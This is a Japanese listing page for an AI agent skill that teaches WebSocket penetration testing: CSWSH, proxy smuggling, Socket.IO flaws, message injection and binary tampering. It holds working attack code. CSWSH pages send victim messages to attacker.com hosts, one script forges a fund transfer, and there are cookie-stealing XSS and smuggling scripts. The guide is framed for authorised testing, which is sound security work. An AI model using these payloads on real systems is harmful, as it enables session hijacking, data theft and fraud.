mcpField
W
websocket-security

websocket-security

github.com/yaklangセキュリティ2.6k3.8k 回インストール6 週間前に更新
リポジトリ

websocket-security について

websocket-securityは、WebSocketのハンドシェイク、セッション、メッセージ処理を調べるセキュリティテスト用スキルです。CSWSHや一般的な脆弱性、通信の検査・橋渡しに使うツールを扱います。

主な機能

  1. 01WebSocketのハンドシェイクと基礎
  2. 02CSWSHリスクの確認
  3. 03セッションとOriginの検証
  4. 04メッセージ注入と通信のリスク
  5. 05wsreplとHTTPブリッジツール

活用シーン

  1. 01ハンドシェイクのOrigin検証
  2. 02セッションと権限境界の確認
  3. 03メッセージ処理の注入テスト
  4. 04ツールを使ったWebSocket通信の検査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill websocket-security

インストール後、Claude Code で/websocket-securityを入力して読み込まれたか確認します。

詳細

スキル:WebSocket セキュリティ

AI LOAD INSTRUCTION:このスキルでは、WebSocket プロトコルの基本、クロスサイト WebSocket ハイジャック(CSWSH)、実用的なツール連携、一般的な脆弱性の種類を扱います。許可されたテストでのみ適用し、トークンとメッセージ内容は機密情報として扱ってください。REST/GraphQL の関連テストについては、ワークスペースに存在する場合、api-sec も併せて読み込んでください。

0. クイックスタート

プロキシまたは生のトラフィックを確認する際は、次の点に注意してください。

Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

サーバーの成功応答を示す指標:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

ルーティングに関する注意:Burp/ブラウザーの DevTools では、101 と Upgrade: websocket で絞り込んでください。より詳細な API テストでは、api-sec を通じて認証/認可モデルを整合させてください。


1. プロトコルの基本

クライアントリクエスト(一般的な例)
  • Upgrade: websocket と Connection: Upgrade — アップグレードハンドシェイクに必須です。
  • Sec-WebSocket-Key — Base64 形式のノンスです。サーバーはマジック GUID とともにハッシュ化し、Sec-WebSocket-Accept で応答します。
  • Sec-WebSocket-Version: 13 — ブラウザーの相互運用における現行の標準バージョンです。
サーバー応答
  • HTTP/1.1 101 Switching Protocols — ハンドシェイクが完了し、以降のフレームは RFC に準拠した WebSocket のバイナリ/テキストフレームになります。

最小限の概念的なフロー:

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

2. クロスサイト WebSocket ハイジャック(CSWSH)

発生条件
  • サーバーが WebSocket ハンドシェイクで Origin(または同等のバインディング)を検証しないこと、かつ
  • 被害者が対象サイトのアクティブなセッション(Cookie ベースまたはブラウザーに保存された認証情報)を持っていること。

この場合、被害者のブラウザーで読み込まれた悪意のあるページが、CSRF と同様の考え方で、永続的な双方向チャネルを介して被害者として WebSocket を開く可能性があります。

概念実証のパターン(ラボ/許可された対象のみ)
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};

テスト時の注意:Origin が検証されるか、Cookie が送信されるか(SameSite のルール)、サブプロトコルまたはカスタムヘッダーが必要かを確認してください。これらの検証が欠けていると、CSWSH のリスクが高まります。


3. ツールを使用したテスト

wsrepl
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py

WebSocket のライフサイクル中に、ブラウザーの Cookie、ヘッダー、またはトークンの更新を再現するには、プラグインを使用してください。

ws-harness(他のツール向け HTTP ブリッジ)
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

ブリッジ経由の HTTP エンドポイントで SQL インジェクション用ツールを使う、後続処理の例です(URL はローカルのリスナーに合わせて調整してください)。

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
Burp Suite エコシステム
  • SocketSleuth — Burp 内で WebSocket トラフィックを検査および操作します。
  • WebSocket Turbo Intruder — 高速またはスクリプト化されたメッセージのファジングを行います。

4. 一般的な脆弱性

問題重要な理由
Origin の検証漏れ攻撃者が制御するページからの CSWSH を可能にします
URL 内の認証トークン(wss://host/ws?token=...)ログ、プロキシ、Referer、ブラウザー履歴から漏えいする可能性があります
メッセージのレート制限なし悪用、ブルートフォース、DoS につながります
wss:// ではなく ws:// を使用通信が平文になります(MITM)
メッセージ本文へのインジェクションコンテンツが別の場所に保存または反映される場合、SQLi、コマンドインジェクション、XSS につながります

機密情報を含む URL のアンチパターンの例:

wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

製品の制約に合わせて、Sec-WebSocket-Protocol、最初のメッセージでの認証、または Cookie + CSRF トークンのパターンを優先してください。


5. 判断フロー

  1. エンドポイントを特定する — JS バンドル、Swagger、または 101 応答から特定し、wss と ws のどちらかを記録します。
  2. ハンドシェイクを確認する — Origin、Host、Cookie のポリシーは適切ですか?クエリ文字列にトークンはありますか?
  3. セッションのバインディングを確認する — Burp で別のユーザーの Cookie jar を使用して再接続し、サブスクリプションのトピックとデータ漏えいを比較します。
  4. CSWSH — 被害者のセッションがアクティブな状態で対象に接続するローカル HTML ページを読み込みます。サーバーが不正な Origin を拒否するか、Cookie 以外のシークレットを使用しているかを確認します。
  5. メッセージの意味を確認する — JSON/テキストのペイロードに対してインジェクションのファジングを行い、HTTP API テストと同じロジックを適用します。
  6. トランスポート — 本番環境での ws:// を指摘し、TLS と HSTS の整合性を確認します。

6. 関連するルーティング

  • api-sec から — 認証、認可、IDOR、レート制限は、同じ WebSocket ルートの背後にある HTTP API と共通することがよくあります。

注:WebSocket は、REST とセッションや権限のモデルを共有することがよくあります。同じバックエンドの認証とリソース境界を統一するには、api-sec を使用してください。


7. CSWSH — 段階的な悪用

ステップ 1:WS ハンドシェイクで Origin チェックがないことを確認する
# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)
ステップ 2:攻撃者のページを作成する
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: 'get_profile'}));
    ws.send(JSON.stringify({action: 'list_messages'}));
};

ws.onmessage = function(event) {
    // Exfiltrate all received messages
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: event.data
    });
};

ws.onerror = function(err) {
    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>
ステップ 3:Cookie とセッションを乗っ取る
Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
ステップ 4:被害者としてメッセージを読み書きする
// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {
    // Write: perform actions as victim
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker_account',
        amount: 10000
    }));
};

ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    if (data.type === 'balance') {
        // Read: exfiltrate sensitive data
        navigator.sendBeacon('https://attacker.com/data',
            JSON.stringify(data));
    }
};

8. WEBSOCKET スマグリング

概念

WebSocket のアップグレードを利用してリバースプロキシの制限を回避し、WebSocket 接続を通じて任意の HTTP トラフィックをトンネリングします。

アップグレードを利用したプロキシの回避
1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
   GET /admin HTTP/1.1
   Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content
H2-over-WebSocket スマグリング
1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
Python での実装
import websocket
import ssl

ws = websocket.create_connection(
    'wss://target.com/ws',
    header=['Origin: https://target.com'],
    sslopt={"cert_reqs": ssl.CERT_NONE}
)

# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
    b"GET /admin/users HTTP/1.1\r\n"
    b"Host: internal-backend\r\n"
    b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2)  # binary frame
response = ws.recv()
print(response)
プロキシ固有の動作
プロキシWebSocket トンネルの動作
Nginx101 の後は生の TCP を転送します — バックエンドが WS フレームを検証しない場合、スマグリングが可能です
HAProxyoption http-server-close と tunnel モードのどちらを使うかによります
AWS ALBWebSocket を終端します — トラフィックを再フレーム化するため、スマグリングは困難です
CloudflareWebSocket フレームを検査します — 生の HTTP スマグリングはブロックされます
VarnishWebSocket をネイティブにサポートしていません — アップグレードによってキャッシュ全体を回避できる可能性があります

9. SOCKET.IO 固有の脆弱性

名前空間インジェクション

Socket.IO は名前空間(/admin、/chat)をサポートしています。認可がデフォルトの名前空間でしか行われない場合:

// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
    adminSocket.emit('list_users');
});

// Server may not verify that the client is authorized for /admin namespace
イベント名インジェクション

イベント名がユーザー入力から生成される場合:

// Server-side vulnerable pattern:
socket.on(userInput, handler);

// Attacker sends event name that matches internal event:
socket.emit('__disconnect');     // force disconnect other clients
socket.emit('connection');        // re-trigger connection handler
socket.emit('error');             // trigger error handler
確認応答コールバックの悪用

Socket.IO の確認応答ではデータを返せます。確認応答コールバックでサーバーが機密データを送信する場合:

socket.emit('get_data', {id: 'admin'}, (response) => {
    // response may contain data the client shouldn't have access to
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(response)
    });
});
ポーリングへのフォールバックによる CSRF

WebSocket が利用できない場合、Socket.IO は HTTP ロングポーリングにフォールバックします。ポーリングトランスポートは Cookie を含む通常の HTTP リクエストを使用するため、追加のトークン検証がなければ CSRF の影響を受けます:

POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream

4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}

10. WEBSOCKET メッセージインジェクション

傍受された接続での攻撃(ws:// での MITM)

アプリケーションが ws://(暗号化なし)を使用している場合、同じネットワーク上の攻撃者はメッセージを挿入できます:

1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible
アプリケーションレベルのインジェクション

WebSocket メッセージがサニタイズされずに連結または補間される場合:

// Vulnerable server-side handler:
socket.on('chat', (msg) => {
    // If msg contains JSON metacharacters:
    broadcast(`{"user":"${username}","msg":"${msg}"}`);
    // Injection: msg = '","admin":true,"msg":"hacked'
    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});
WebSocket を介した保存型 XSS
1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously

11. バイナリ WebSocket メッセージの操作

Protobuf のデシリアライズ

WebSocket 経由で Protocol Buffers を使用するアプリケーションは、次の脆弱性がある可能性があります:

1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints
# Decode captured binary frame
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw

# Output: field structure with types and values
# Modify, re-encode, send back through WebSocket
MessagePack のデシリアライズ
import msgpack
import websocket

ws = websocket.create_connection('wss://target.com/ws')

# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}

# Modify and re-send
data['user_id'] = 1  # IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)
型混同攻撃

バイナリシリアライズ形式では、型混同が発生する可能性があります:

# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection

# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values
バイナリ WebSocket 分析ツール
ツール用途
Burp Suite + SocketSleuthバイナリフレームの傍受と変更
protobuf-inspector不明な protobuf 構造のデコード
msgpack-toolsMessagePack のエンコード/デコード用 CLI
wsdump (websocket-client)生フレームのキャプチャと再生
Wiresharkプロトコルレベルでの WebSocket フレームの解析

コメント